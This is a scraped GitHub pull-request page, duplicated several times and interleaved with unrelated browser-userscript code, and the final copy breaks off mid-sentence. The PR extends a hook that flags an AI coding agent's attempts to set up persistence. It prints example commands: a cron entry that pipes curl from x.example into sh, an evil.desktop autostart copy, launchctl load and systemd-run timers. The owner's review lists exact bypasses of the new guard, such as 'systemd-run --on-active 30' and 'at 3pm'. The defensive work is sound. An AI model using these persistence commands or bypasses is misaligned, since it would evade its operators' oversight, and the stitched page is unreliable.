scope-escalation: gate scheduled-task invocations and persistence-artifact paths (KNOWN-LIMITS 44) - #33

Merged
githubscum merged 1 commit into
githubscum:mainfrom
pgrandin:fix/scheduled-task-persistence
Sep 1, 2026
Merged

scope-escalation: gate scheduled-task invocations and persistence-artifact paths (KNOWN-LIMITS 44)#33
githubscum merged 1 commit into
githubscum:mainfrom
pgrandin:fix/scheduled-task-persistence

Conversation

@pgrandin

Copy link
Copy Markdown
Contributor

Closes KNOWN-LIMITS 44 on the entry's own suggested shape. Design staged first at proposals/scheduled-task-persistence.md.

The hole, flowing free today

isScopeEscalation keyed on remembered verbs (schtasks /create, Register-ScheduledTask, sc create, New-Service, crontab). Three persistence shapes walk past it — verified through the real PreToolUse hook on unpatched main, exit 0, silent stderr:

printf '%s\n' '* * * * * curl -s http://x.example/p | sh' | tee /etc/cron.d/metrics # no crontab token, no script path
launchctl load ~/Library/LaunchAgents/com.sync.plist # macOS persistence
mkdir -p ~/.config/autostart && cp evil.desktop ~/.config/autostart/sync.desktop # XDG autostart
systemd-run --on-active=30 touch /tmp/heartbeat-marker # scheduled transient unit

After this patch, all four produce warn: scope-escalation (grazing mode; gate in herded), same treatment as the existing crontab coverage.

The fix (strictly additive)

  • Invocation halfat <timespec> anchored to command position with an at(1) time spec (now/noon/midnight/teatime/today/tomorrow/HH:MM/+N), systemd-run + --on-* required together (plain transient runs stay free), launchctl load|bootstrap|submit, Register-ScheduledJob.
  • Artifact half — one component-anchored path surface over /etc/cron.*, /var/spool/cron{,/atjobs}, systemd unit dirs (system + user), Library/Launch{Agents,Daemons}, System32/Tasks (backslash folding covers Windows), XDG autostart. Checked from Edit/Write/NotebookEdit paths via new Rule 7b under the existing scope-escalation rule id (no policy.json change, no mode remapping) and from any command naming the path — reads included, per this file's standing rule that enumerating writer binaries leaks one class per round.
  • Both new functions join matcherVersionHash parts, so the hash moves when this behavior moves.

Nothing existing can match less. Anchoring is by path component, so /etc/systemd/system.conf, ~/projects/systemd-system-demo/x.conf, and journalctl/systemctl status/launchctl list stay free.

Fail-first, then pass

test/policy-scheduled-task.test.js imports only symbols that exist on unpatched main so failures land per-case instead of crashing at import.

  • Unpatched 2173d23: 13 fail / 6 pass — every must-gate case fails, every control holds.
  • Patched: 19/19 pass.
  • Full suite: 850 tests, 848 pass, 2 fail — the two pre-existing grant-core-paths mixed-separator cases, identical before and after (verified by stashing the src change).

Residuals, stated

Reads of artifact paths warn too (string matchers cannot separate reader from writer); prose containing the literal words "at noon" fires; enabling an existing unit by name (systemctl enable --now x.timer) stays free; batch/anacron/fcron/SysWOW64 stay free; what a registered task later runs remains outside any hook — registration-time gating bounds what gets installed, not what installed things do at 03:00.

Signed receipt of the work session

Session stdio42-1f916-limit44-20260825, driven through the real hooks (manual argv/stdin path — this harness is not Claude Code; disclosed rather than claimed otherwise). Chain: seq 0 session-open, seq 1–2 policy-warn receipts for the cron-artifact and launchctl probes (controls stayed silent), seq 3 clean session close.

  • Head: 54d84b6ac586a7a88dbe2cd0f3916e428a3eba8e7a1b9460d2cdb052e8461172
  • Verifier output: VALID 4 entries, hashes and signatures check out
  • Bundle sha256: baff8adb49bb61ad369fc5078a0092fb6d144e326aea82c1a61be4a0dd5fcf48
  • No approval-key ceremony was run (warnings stage no tokens); KNOWN-LIMITS 1 and 22 apply as always.

Commit: 72c42a7

…ifact paths (KNOWN-LIMITS 44)
The matcher keyed on remembered verbs (schtasks /create,
Register-ScheduledTask, sc create, New-Service, crontab). Three
persistence shapes flowed free on unpatched main, verified through the
real PreToolUse hook (exit 0, silent stderr): a cron drop-dir written by
path with no crontab token anywhere in the string; launchctl load of a
LaunchAgents plist; an XDG autostart entry copied into place.
Invocation half: at(1) with a time spec anchored to command position,
systemd-run --on-* (both tokens required), launchctl
load|bootstrap|submit, Register-ScheduledJob.
Artifact half: one component-anchored path surface over /etc/cron.*,
/var/spool/cron, systemd unit dirs, Library/LaunchAgents|LaunchDaemons,
System32/Tasks (backslash folding covers the Windows spelling), and XDG
autostart. Checked from both halves: Edit/Write/NotebookEdit paths via
new Rule 7b under the existing scope-escalation rule id (no policy.json
change, no mode remapping), and any command naming the path — reads
included, per this file's standing rule that enumerating writers leaks
one class per round and crying wolf is the cheap failure.
Both new functions join matcherVersionHash parts, so the hash moves when
this behavior moves. Fail-first: test/policy-scheduled-task.test.js runs
13 must-gate cases against unpatched main and all 13 fail while 6
controls pass; after the fix, 19/19. Full suite 848/850, the only 2
failures the pre-existing grant-core-paths mixed-separator cases,
identical before and after. Design staged first at
proposals/scheduled-task-persistence.md.
@githubscum

Copy link
Copy Markdown
Owner

Review: accept, with one finding the entry's status line overstates

Post-merge review, run under the lotor-lane routine against 6d77e64 (this
change plus the four lane PRs that landed alongside it). The authorization to
spend a run on this review was signed on the desk 2026-09-01; the merge is
Isaac's and had already happened when the run fired, so this is a review of
live code on main rather than a gate on landing it.

Verdict: accept. The change is strictly additive, the fail-first evidence
is real, the residuals are stated against the author's own interest, and it
closes the half of limit 44 that the entry itself called the closest to right:
deciding by the artifact laid down rather than by a remembered verb. That is
the correct lesson and it is applied in the correct place.

Verified, not taken on report

  • Full suite on main at 6d77e64: 941 pass, 0 fail, exit 0. This matters
    more than the PR's own 848/2 number, which was measured against a
    2026-08-23 base. Four other PRs merged into the same tree the same morning;
    the combined result is clean.
  • normalizePath is a pure string fold
    (replace(/\\/g,'/').toLowerCase().replace(/\/+$/,'')) with no resolution
    or IO, so reusing it on whole command text in the artifact half is sound —
    it cannot throw and cannot reach the filesystem.
  • Component anchoring holds: the lookalike controls
    (/etc/systemd/system.conf, systemd-system-demo/, /etc/crontab-docs.md)
    return null through evaluate().
  • Rule 7b sits after the existing rules and behind a tool-name guard, so
    nothing that matched before can match less. Both new functions are joined
    into matcherVersionHash, so the hash of the matcher in force moves with
    this behavior. The pre-existing exclusion of isSelfModEdit is disclosed
    rather than quietly inherited.

What a reviewer should doubt — four bypasses that are not in the residuals

I probed the merged matcher directly rather than reasoning about the regexes.
Every case below is the same class this PR claims to close, and each is one
character or one token away from a worked example in the PR body:

GATE | systemd-run --on-active=30 touch /tmp/m <- the PR's own example
FREE | systemd-run --on-active 30 touch /tmp/m <- delete one '='
FREE | systemd-run --on-calendar "*:0/5" touch /tmp/m
GATE | echo x | at 03:00 <- the PR's own example
FREE | echo x | at 3pm
FREE | echo x | at 1730
FREE | echo x | at 10am tomorrow

Two causes, both narrow:

  1. SYSTEMD_RUN_SCHEDULED is /(^|\s)--on-[-a-z]+=/ and requires the =.
    systemd uses getopt_long with required_argument, which accepts
    --on-active 30 exactly as readily. The space form registers the same
    timer and walks past the rule.
  2. The at(1) time-spec alternation carries now|noon|midnight|teatime|today| tomorrow|HH:MM|+N but not the am/pm forms or bare HHMM, both of which
    at(1) accepts. at 3pm is not an exotic scheduler; it is the same binary
    this PR deliberately added.

Why this is worth saying rather than filing quietly. The entry's new status
line reads "closed for the honest-agent class." Against an honest agent the
distinction between --on-active=30 and --on-active 30 is a coin flip, not a
choice, so the class is not fully covered — and the residual list, which is
otherwise scrupulous, does not mention either form. The gap is not the code;
the code is good. The gap is that a reader of entry 44 now believes something
slightly stronger than what ships. On this file's own standing rule, crying
wolf is the cheap failure and silence is the expensive one, so both forms
should gate.

Suggested shape, both one-liners: make the = optional in
SYSTEMD_RUN_SCHEDULED (--on-[-a-z]+[=\s]), and add
\d{1,2}(:[0-5]\d)?\s*(am|pm) plus a bare four-digit HHMM to the at(1)
alternation. Each needs a control alongside it so at 12 files and prose do
not start firing.

This is a narrowing, not a closure, and the amendment should say so. The
lotor-lane routine will open a follow-up with the two matcher cases, their
fail-first tests, and an amendment to entry 44's status line. Filed here first
so the finding is attached to the change that produced it.

On the bounty

The desk row pay-auth-pr33 was signed 2026-09-01 and authorizes payment on
acceptance. Merged is accepted, so the row moves to needs_payment. Nothing
is marked paid by this lane, and the finding above does not reduce what is
owed: the residuals this PR did state are unusually honest work, and the two
it missed were found by a probe that only exists because the PR made the
surface legible enough to probe.

Reviewed by ike (lotor-lane run 8). Written on-meter and stated as such: the
870's local executors have failed to deliver artifacts of this size across
four measured runs, so the ladder was not exercised here.

Sign up for freeto join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants

@pgrandin@githubscum
, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Add copy buttons to all
 blocks\n(function() {\n function addCopyButtons() {\n document.querySelectorAll('pre code').forEach(function(codeBlock) {\n if (codeBlock.parentElement.hasAttribute('data-copy-added')) return;\n codeBlock.parentElement.setAttribute('data-copy-added', 'true');\n \n var btn = document.createElement('button');\n btn.textContent = 'Copy';\n btn.style.cssText = 'position:absolute;top:4px;right:4px;padding:2px 8px;font-size:11px;background:#4ecdc4;border:none;border-radius:4px;color:#1a1a2e;cursor:pointer;opacity:0.7;transition:opacity 0.2s;';\n btn.onmouseover = function() { this.style.opacity = '1'; };\n btn.onmouseout = function() { this.style.opacity = '0.7'; };\n btn.onclick = function() {\n navigator.clipboard.writeText(codeBlock.textContent).then(function() {\n btn.textContent = 'Copied!';\n setTimeout(function() { btn.textContent = 'Copy'; }, 1500);\n });\n };\n codeBlock.parentElement.style.position = 'relative';\n codeBlock.parentElement.appendChild(btn);\n });\n }\n \n addCopyButtons();\n \n // Re-run on dynamic content\n var observer = new MutationObserver(addCopyButtons);\n observer.observe(document.body, { childList: true, subtree: true });\n})();", "Add Copy Buttons to Code Blocks");
}
} catch(__e) { console.warn('[Userscript:Add Copy Buttons to Code Blocks]', __e); }
})();
(function(){
try {
var __m = "github.com";
var __re = new RegExp('^' + "github\\.com" + '
Skip to content

scope-escalation: gate scheduled-task invocations and persistence-artifact paths (KNOWN-LIMITS 44) - #33

Merged
githubscum merged 1 commit into
githubscum:mainfrom
pgrandin:fix/scheduled-task-persistence
Sep 1, 2026
Merged

scope-escalation: gate scheduled-task invocations and persistence-artifact paths (KNOWN-LIMITS 44)#33
githubscum merged 1 commit into
githubscum:mainfrom
pgrandin:fix/scheduled-task-persistence

Conversation

@pgrandin

Copy link
Copy Markdown
Contributor

Closes KNOWN-LIMITS 44 on the entry's own suggested shape. Design staged first at proposals/scheduled-task-persistence.md.

The hole, flowing free today

isScopeEscalation keyed on remembered verbs (schtasks /create, Register-ScheduledTask, sc create, New-Service, crontab). Three persistence shapes walk past it — verified through the real PreToolUse hook on unpatched main, exit 0, silent stderr:

printf '%s\n' '* * * * * curl -s http://x.example/p | sh' | tee /etc/cron.d/metrics # no crontab token, no script path
launchctl load ~/Library/LaunchAgents/com.sync.plist # macOS persistence
mkdir -p ~/.config/autostart && cp evil.desktop ~/.config/autostart/sync.desktop # XDG autostart
systemd-run --on-active=30 touch /tmp/heartbeat-marker # scheduled transient unit

After this patch, all four produce warn: scope-escalation (grazing mode; gate in herded), same treatment as the existing crontab coverage.

The fix (strictly additive)

  • Invocation halfat <timespec> anchored to command position with an at(1) time spec (now/noon/midnight/teatime/today/tomorrow/HH:MM/+N), systemd-run + --on-* required together (plain transient runs stay free), launchctl load|bootstrap|submit, Register-ScheduledJob.
  • Artifact half — one component-anchored path surface over /etc/cron.*, /var/spool/cron{,/atjobs}, systemd unit dirs (system + user), Library/Launch{Agents,Daemons}, System32/Tasks (backslash folding covers Windows), XDG autostart. Checked from Edit/Write/NotebookEdit paths via new Rule 7b under the existing scope-escalation rule id (no policy.json change, no mode remapping) and from any command naming the path — reads included, per this file's standing rule that enumerating writer binaries leaks one class per round.
  • Both new functions join matcherVersionHash parts, so the hash moves when this behavior moves.

Nothing existing can match less. Anchoring is by path component, so /etc/systemd/system.conf, ~/projects/systemd-system-demo/x.conf, and journalctl/systemctl status/launchctl list stay free.

Fail-first, then pass

test/policy-scheduled-task.test.js imports only symbols that exist on unpatched main so failures land per-case instead of crashing at import.

  • Unpatched 2173d23: 13 fail / 6 pass — every must-gate case fails, every control holds.
  • Patched: 19/19 pass.
  • Full suite: 850 tests, 848 pass, 2 fail — the two pre-existing grant-core-paths mixed-separator cases, identical before and after (verified by stashing the src change).

Residuals, stated

Reads of artifact paths warn too (string matchers cannot separate reader from writer); prose containing the literal words "at noon" fires; enabling an existing unit by name (systemctl enable --now x.timer) stays free; batch/anacron/fcron/SysWOW64 stay free; what a registered task later runs remains outside any hook — registration-time gating bounds what gets installed, not what installed things do at 03:00.

Signed receipt of the work session

Session stdio42-1f916-limit44-20260825, driven through the real hooks (manual argv/stdin path — this harness is not Claude Code; disclosed rather than claimed otherwise). Chain: seq 0 session-open, seq 1–2 policy-warn receipts for the cron-artifact and launchctl probes (controls stayed silent), seq 3 clean session close.

  • Head: 54d84b6ac586a7a88dbe2cd0f3916e428a3eba8e7a1b9460d2cdb052e8461172
  • Verifier output: VALID 4 entries, hashes and signatures check out
  • Bundle sha256: baff8adb49bb61ad369fc5078a0092fb6d144e326aea82c1a61be4a0dd5fcf48
  • No approval-key ceremony was run (warnings stage no tokens); KNOWN-LIMITS 1 and 22 apply as always.

Commit: 72c42a7

…ifact paths (KNOWN-LIMITS 44)
The matcher keyed on remembered verbs (schtasks /create,
Register-ScheduledTask, sc create, New-Service, crontab). Three
persistence shapes flowed free on unpatched main, verified through the
real PreToolUse hook (exit 0, silent stderr): a cron drop-dir written by
path with no crontab token anywhere in the string; launchctl load of a
LaunchAgents plist; an XDG autostart entry copied into place.
Invocation half: at(1) with a time spec anchored to command position,
systemd-run --on-* (both tokens required), launchctl
load|bootstrap|submit, Register-ScheduledJob.
Artifact half: one component-anchored path surface over /etc/cron.*,
/var/spool/cron, systemd unit dirs, Library/LaunchAgents|LaunchDaemons,
System32/Tasks (backslash folding covers the Windows spelling), and XDG
autostart. Checked from both halves: Edit/Write/NotebookEdit paths via
new Rule 7b under the existing scope-escalation rule id (no policy.json
change, no mode remapping), and any command naming the path — reads
included, per this file's standing rule that enumerating writers leaks
one class per round and crying wolf is the cheap failure.
Both new functions join matcherVersionHash parts, so the hash moves when
this behavior moves. Fail-first: test/policy-scheduled-task.test.js runs
13 must-gate cases against unpatched main and all 13 fail while 6
controls pass; after the fix, 19/19. Full suite 848/850, the only 2
failures the pre-existing grant-core-paths mixed-separator cases,
identical before and after. Design staged first at
proposals/scheduled-task-persistence.md.
@githubscum

Copy link
Copy Markdown
Owner

Review: accept, with one finding the entry's status line overstates

Post-merge review, run under the lotor-lane routine against 6d77e64 (this
change plus the four lane PRs that landed alongside it). The authorization to
spend a run on this review was signed on the desk 2026-09-01; the merge is
Isaac's and had already happened when the run fired, so this is a review of
live code on main rather than a gate on landing it.

Verdict: accept. The change is strictly additive, the fail-first evidence
is real, the residuals are stated against the author's own interest, and it
closes the half of limit 44 that the entry itself called the closest to right:
deciding by the artifact laid down rather than by a remembered verb. That is
the correct lesson and it is applied in the correct place.

Verified, not taken on report

  • Full suite on main at 6d77e64: 941 pass, 0 fail, exit 0. This matters
    more than the PR's own 848/2 number, which was measured against a
    2026-08-23 base. Four other PRs merged into the same tree the same morning;
    the combined result is clean.
  • normalizePath is a pure string fold
    (replace(/\\/g,'/').toLowerCase().replace(/\/+$/,'')) with no resolution
    or IO, so reusing it on whole command text in the artifact half is sound —
    it cannot throw and cannot reach the filesystem.
  • Component anchoring holds: the lookalike controls
    (/etc/systemd/system.conf, systemd-system-demo/, /etc/crontab-docs.md)
    return null through evaluate().
  • Rule 7b sits after the existing rules and behind a tool-name guard, so
    nothing that matched before can match less. Both new functions are joined
    into matcherVersionHash, so the hash of the matcher in force moves with
    this behavior. The pre-existing exclusion of isSelfModEdit is disclosed
    rather than quietly inherited.

What a reviewer should doubt — four bypasses that are not in the residuals

I probed the merged matcher directly rather than reasoning about the regexes.
Every case below is the same class this PR claims to close, and each is one
character or one token away from a worked example in the PR body:

GATE | systemd-run --on-active=30 touch /tmp/m <- the PR's own example
FREE | systemd-run --on-active 30 touch /tmp/m <- delete one '='
FREE | systemd-run --on-calendar "*:0/5" touch /tmp/m
GATE | echo x | at 03:00 <- the PR's own example
FREE | echo x | at 3pm
FREE | echo x | at 1730
FREE | echo x | at 10am tomorrow

Two causes, both narrow:

  1. SYSTEMD_RUN_SCHEDULED is /(^|\s)--on-[-a-z]+=/ and requires the =.
    systemd uses getopt_long with required_argument, which accepts
    --on-active 30 exactly as readily. The space form registers the same
    timer and walks past the rule.
  2. The at(1) time-spec alternation carries now|noon|midnight|teatime|today| tomorrow|HH:MM|+N but not the am/pm forms or bare HHMM, both of which
    at(1) accepts. at 3pm is not an exotic scheduler; it is the same binary
    this PR deliberately added.

Why this is worth saying rather than filing quietly. The entry's new status
line reads "closed for the honest-agent class." Against an honest agent the
distinction between --on-active=30 and --on-active 30 is a coin flip, not a
choice, so the class is not fully covered — and the residual list, which is
otherwise scrupulous, does not mention either form. The gap is not the code;
the code is good. The gap is that a reader of entry 44 now believes something
slightly stronger than what ships. On this file's own standing rule, crying
wolf is the cheap failure and silence is the expensive one, so both forms
should gate.

Suggested shape, both one-liners: make the = optional in
SYSTEMD_RUN_SCHEDULED (--on-[-a-z]+[=\s]), and add
\d{1,2}(:[0-5]\d)?\s*(am|pm) plus a bare four-digit HHMM to the at(1)
alternation. Each needs a control alongside it so at 12 files and prose do
not start firing.

This is a narrowing, not a closure, and the amendment should say so. The
lotor-lane routine will open a follow-up with the two matcher cases, their
fail-first tests, and an amendment to entry 44's status line. Filed here first
so the finding is attached to the change that produced it.

On the bounty

The desk row pay-auth-pr33 was signed 2026-09-01 and authorizes payment on
acceptance. Merged is accepted, so the row moves to needs_payment. Nothing
is marked paid by this lane, and the finding above does not reduce what is
owed: the residuals this PR did state are unusually honest work, and the two
it missed were found by a probe that only exists because the PR made the
surface legible enough to probe.

Reviewed by ike (lotor-lane run 8). Written on-meter and stated as such: the
870's local executors have failed to deliver artifacts of this size across
four measured runs, so the ladder was not exercised here.

Sign up for freeto join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants

@pgrandin@githubscum
, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Force GitHub README to respect dark mode\n(function() {\n var style = document.createElement('style');\n style.textContent = '\n .markdown-body {\n color-scheme: dark light;\n }\n .markdown-body pre { background: #161b22 !important; }\n .markdown-body code { background: rgba(110, 118, 129, 0.4) !important; }\n .markdown-body table th, .markdown-body table td { border-color: #30363d !important; }\n .markdown-body img { background: #0d1117; }\n .markdown-body blockquote { border-left-color: #8b949e; }\n .markdown-body hr { border-color: #30363d; }\n ';\n document.head.appendChild(style);\n})();", "GitHub Dark Mode README Fix"); } } catch(__e) { console.warn('[Userscript:GitHub Dark Mode README Fix]', __e); } })(); (function(){ try { var __m = "*"; var __re = new RegExp('^' + ".*" + '
Skip to content

scope-escalation: gate scheduled-task invocations and persistence-artifact paths (KNOWN-LIMITS 44) - #33

Merged
githubscum merged 1 commit into
githubscum:mainfrom
pgrandin:fix/scheduled-task-persistence
Sep 1, 2026
Merged

scope-escalation: gate scheduled-task invocations and persistence-artifact paths (KNOWN-LIMITS 44)#33
githubscum merged 1 commit into
githubscum:mainfrom
pgrandin:fix/scheduled-task-persistence

Conversation

@pgrandin

Copy link
Copy Markdown
Contributor

Closes KNOWN-LIMITS 44 on the entry's own suggested shape. Design staged first at proposals/scheduled-task-persistence.md.

The hole, flowing free today

isScopeEscalation keyed on remembered verbs (schtasks /create, Register-ScheduledTask, sc create, New-Service, crontab). Three persistence shapes walk past it — verified through the real PreToolUse hook on unpatched main, exit 0, silent stderr:

printf '%s\n' '* * * * * curl -s http://x.example/p | sh' | tee /etc/cron.d/metrics # no crontab token, no script path
launchctl load ~/Library/LaunchAgents/com.sync.plist # macOS persistence
mkdir -p ~/.config/autostart && cp evil.desktop ~/.config/autostart/sync.desktop # XDG autostart
systemd-run --on-active=30 touch /tmp/heartbeat-marker # scheduled transient unit

After this patch, all four produce warn: scope-escalation (grazing mode; gate in herded), same treatment as the existing crontab coverage.

The fix (strictly additive)

  • Invocation halfat <timespec> anchored to command position with an at(1) time spec (now/noon/midnight/teatime/today/tomorrow/HH:MM/+N), systemd-run + --on-* required together (plain transient runs stay free), launchctl load|bootstrap|submit, Register-ScheduledJob.
  • Artifact half — one component-anchored path surface over /etc/cron.*, /var/spool/cron{,/atjobs}, systemd unit dirs (system + user), Library/Launch{Agents,Daemons}, System32/Tasks (backslash folding covers Windows), XDG autostart. Checked from Edit/Write/NotebookEdit paths via new Rule 7b under the existing scope-escalation rule id (no policy.json change, no mode remapping) and from any command naming the path — reads included, per this file's standing rule that enumerating writer binaries leaks one class per round.
  • Both new functions join matcherVersionHash parts, so the hash moves when this behavior moves.

Nothing existing can match less. Anchoring is by path component, so /etc/systemd/system.conf, ~/projects/systemd-system-demo/x.conf, and journalctl/systemctl status/launchctl list stay free.

Fail-first, then pass

test/policy-scheduled-task.test.js imports only symbols that exist on unpatched main so failures land per-case instead of crashing at import.

  • Unpatched 2173d23: 13 fail / 6 pass — every must-gate case fails, every control holds.
  • Patched: 19/19 pass.
  • Full suite: 850 tests, 848 pass, 2 fail — the two pre-existing grant-core-paths mixed-separator cases, identical before and after (verified by stashing the src change).

Residuals, stated

Reads of artifact paths warn too (string matchers cannot separate reader from writer); prose containing the literal words "at noon" fires; enabling an existing unit by name (systemctl enable --now x.timer) stays free; batch/anacron/fcron/SysWOW64 stay free; what a registered task later runs remains outside any hook — registration-time gating bounds what gets installed, not what installed things do at 03:00.

Signed receipt of the work session

Session stdio42-1f916-limit44-20260825, driven through the real hooks (manual argv/stdin path — this harness is not Claude Code; disclosed rather than claimed otherwise). Chain: seq 0 session-open, seq 1–2 policy-warn receipts for the cron-artifact and launchctl probes (controls stayed silent), seq 3 clean session close.

  • Head: 54d84b6ac586a7a88dbe2cd0f3916e428a3eba8e7a1b9460d2cdb052e8461172
  • Verifier output: VALID 4 entries, hashes and signatures check out
  • Bundle sha256: baff8adb49bb61ad369fc5078a0092fb6d144e326aea82c1a61be4a0dd5fcf48
  • No approval-key ceremony was run (warnings stage no tokens); KNOWN-LIMITS 1 and 22 apply as always.

Commit: 72c42a7

…ifact paths (KNOWN-LIMITS 44)
The matcher keyed on remembered verbs (schtasks /create,
Register-ScheduledTask, sc create, New-Service, crontab). Three
persistence shapes flowed free on unpatched main, verified through the
real PreToolUse hook (exit 0, silent stderr): a cron drop-dir written by
path with no crontab token anywhere in the string; launchctl load of a
LaunchAgents plist; an XDG autostart entry copied into place.
Invocation half: at(1) with a time spec anchored to command position,
systemd-run --on-* (both tokens required), launchctl
load|bootstrap|submit, Register-ScheduledJob.
Artifact half: one component-anchored path surface over /etc/cron.*,
/var/spool/cron, systemd unit dirs, Library/LaunchAgents|LaunchDaemons,
System32/Tasks (backslash folding covers the Windows spelling), and XDG
autostart. Checked from both halves: Edit/Write/NotebookEdit paths via
new Rule 7b under the existing scope-escalation rule id (no policy.json
change, no mode remapping), and any command naming the path — reads
included, per this file's standing rule that enumerating writers leaks
one class per round and crying wolf is the cheap failure.
Both new functions join matcherVersionHash parts, so the hash moves when
this behavior moves. Fail-first: test/policy-scheduled-task.test.js runs
13 must-gate cases against unpatched main and all 13 fail while 6
controls pass; after the fix, 19/19. Full suite 848/850, the only 2
failures the pre-existing grant-core-paths mixed-separator cases,
identical before and after. Design staged first at
proposals/scheduled-task-persistence.md.
@githubscum

Copy link
Copy Markdown
Owner

Review: accept, with one finding the entry's status line overstates

Post-merge review, run under the lotor-lane routine against 6d77e64 (this
change plus the four lane PRs that landed alongside it). The authorization to
spend a run on this review was signed on the desk 2026-09-01; the merge is
Isaac's and had already happened when the run fired, so this is a review of
live code on main rather than a gate on landing it.

Verdict: accept. The change is strictly additive, the fail-first evidence
is real, the residuals are stated against the author's own interest, and it
closes the half of limit 44 that the entry itself called the closest to right:
deciding by the artifact laid down rather than by a remembered verb. That is
the correct lesson and it is applied in the correct place.

Verified, not taken on report

  • Full suite on main at 6d77e64: 941 pass, 0 fail, exit 0. This matters
    more than the PR's own 848/2 number, which was measured against a
    2026-08-23 base. Four other PRs merged into the same tree the same morning;
    the combined result is clean.
  • normalizePath is a pure string fold
    (replace(/\\/g,'/').toLowerCase().replace(/\/+$/,'')) with no resolution
    or IO, so reusing it on whole command text in the artifact half is sound —
    it cannot throw and cannot reach the filesystem.
  • Component anchoring holds: the lookalike controls
    (/etc/systemd/system.conf, systemd-system-demo/, /etc/crontab-docs.md)
    return null through evaluate().
  • Rule 7b sits after the existing rules and behind a tool-name guard, so
    nothing that matched before can match less. Both new functions are joined
    into matcherVersionHash, so the hash of the matcher in force moves with
    this behavior. The pre-existing exclusion of isSelfModEdit is disclosed
    rather than quietly inherited.

What a reviewer should doubt — four bypasses that are not in the residuals

I probed the merged matcher directly rather than reasoning about the regexes.
Every case below is the same class this PR claims to close, and each is one
character or one token away from a worked example in the PR body:

GATE | systemd-run --on-active=30 touch /tmp/m <- the PR's own example
FREE | systemd-run --on-active 30 touch /tmp/m <- delete one '='
FREE | systemd-run --on-calendar "*:0/5" touch /tmp/m
GATE | echo x | at 03:00 <- the PR's own example
FREE | echo x | at 3pm
FREE | echo x | at 1730
FREE | echo x | at 10am tomorrow

Two causes, both narrow:

  1. SYSTEMD_RUN_SCHEDULED is /(^|\s)--on-[-a-z]+=/ and requires the =.
    systemd uses getopt_long with required_argument, which accepts
    --on-active 30 exactly as readily. The space form registers the same
    timer and walks past the rule.
  2. The at(1) time-spec alternation carries now|noon|midnight|teatime|today| tomorrow|HH:MM|+N but not the am/pm forms or bare HHMM, both of which
    at(1) accepts. at 3pm is not an exotic scheduler; it is the same binary
    this PR deliberately added.

Why this is worth saying rather than filing quietly. The entry's new status
line reads "closed for the honest-agent class." Against an honest agent the
distinction between --on-active=30 and --on-active 30 is a coin flip, not a
choice, so the class is not fully covered — and the residual list, which is
otherwise scrupulous, does not mention either form. The gap is not the code;
the code is good. The gap is that a reader of entry 44 now believes something
slightly stronger than what ships. On this file's own standing rule, crying
wolf is the cheap failure and silence is the expensive one, so both forms
should gate.

Suggested shape, both one-liners: make the = optional in
SYSTEMD_RUN_SCHEDULED (--on-[-a-z]+[=\s]), and add
\d{1,2}(:[0-5]\d)?\s*(am|pm) plus a bare four-digit HHMM to the at(1)
alternation. Each needs a control alongside it so at 12 files and prose do
not start firing.

This is a narrowing, not a closure, and the amendment should say so. The
lotor-lane routine will open a follow-up with the two matcher cases, their
fail-first tests, and an amendment to entry 44's status line. Filed here first
so the finding is attached to the change that produced it.

On the bounty

The desk row pay-auth-pr33 was signed 2026-09-01 and authorizes payment on
acceptance. Merged is accepted, so the row moves to needs_payment. Nothing
is marked paid by this lane, and the finding above does not reduce what is
owed: the residuals this PR did state are unusually honest work, and the two
it missed were found by a probe that only exists because the PR made the
surface legible enough to probe.

Reviewed by ike (lotor-lane run 8). Written on-meter and stated as such: the
870's local executors have failed to deliver artifacts of this size across
four measured runs, so the ladder was not exercised here.

Sign up for freeto join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants

@pgrandin@githubscum
, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Highlight search terms from Google/DuckDuckGo/Bing referrer\n(function() {\n var ref = document.referrer;\n var terms = [];\n \n if (ref.includes('google.com') || ref.includes('duckduckgo.com') || ref.includes('bing.com')) {\n var url = new URL(ref);\n var q = url.searchParams.get('q') || url.searchParams.get('p');\n if (q) {\n terms = q.split(/\\s+/).filter(function(t) { return t.length > 2; });\n }\n }\n \n if (terms.length === 0) return;\n \n var style = document.createElement('style');\n style.textContent = '.userscript-highlight { background: #fbbf24; color: #1a1a2e; padding: 1px 3px; border-radius: 2px; }';\n document.head.appendChild(style);\n \n function highlight(node) {\n if (node.nodeType === 3) { // text node\n var text = node.textContent;\n var found = false;\n terms.forEach(function(term) {\n var regex = new RegExp('(' + term.replace(/[.*+?^${}()|[\\]\\\\]/g, '\\\\') + ')', 'gi');\n if (regex.test(text)) {\n found = true;\n var frag = document.createDocumentFragment();\n var parts = text.split(regex);\n parts.forEach(function(part, i) {\n if (i % 2 === 0) {\n frag.appendChild(document.createTextNode(part));\n } else {\n var span = document.createElement('span');\n span.className = 'userscript-highlight';\n span.textContent = part;\n frag.appendChild(span);\n }\n });\n node.parentNode.replaceChild(frag, node);\n }\n });\n } else if (node.nodeType === 1 && node.childNodes) { // element\n var skipTags = ['SCRIPT', 'STYLE', 'NOSCRIPT', 'TEXTAREA', 'INPUT', 'SELECT'];\n if (!skipTags.includes(node.tagName)) {\n Array.from(node.childNodes).forEach(highlight);\n }\n }\n }\n \n highlight(document.body);\n \n // Re-highlight on dynamic content\n var observer = new MutationObserver(function(mutations) {\n mutations.forEach(function(m) {\n m.addedNodes.forEach(function(node) {\n if (node.nodeType === 1 || node.nodeType === 3) highlight(node);\n });\n });\n });\n observer.observe(document.body, { childList: true, subtree: true });\n})();", "Highlight Search Terms"); } } catch(__e) { console.warn('[Userscript:Highlight Search Terms]', __e); } })(); (function(){ try { var __m = "*"; var __re = new RegExp('^' + ".*" + '
Skip to content

scope-escalation: gate scheduled-task invocations and persistence-artifact paths (KNOWN-LIMITS 44) - #33

Merged
githubscum merged 1 commit into
githubscum:mainfrom
pgrandin:fix/scheduled-task-persistence
Sep 1, 2026
Merged

scope-escalation: gate scheduled-task invocations and persistence-artifact paths (KNOWN-LIMITS 44)#33
githubscum merged 1 commit into
githubscum:mainfrom
pgrandin:fix/scheduled-task-persistence

Conversation

@pgrandin

Copy link
Copy Markdown
Contributor

Closes KNOWN-LIMITS 44 on the entry's own suggested shape. Design staged first at proposals/scheduled-task-persistence.md.

The hole, flowing free today

